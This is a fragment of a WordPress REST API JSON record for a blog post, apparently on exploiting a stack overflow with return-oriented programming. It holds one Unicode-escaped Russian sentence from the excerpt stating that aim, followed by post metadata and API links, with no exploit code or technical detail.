\u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u043a\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u0442\u0435\u043a\u0430 \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u043c\u0430\u0433\u0438\u0435\u0439 <a href=\"http:\/\/en.wikipedia.org\/wiki\/Return-oriented_programming\">ROP<\/a>, \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-202034","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/202034","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=202034"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/202034\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=202034"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=202034"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=202034"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}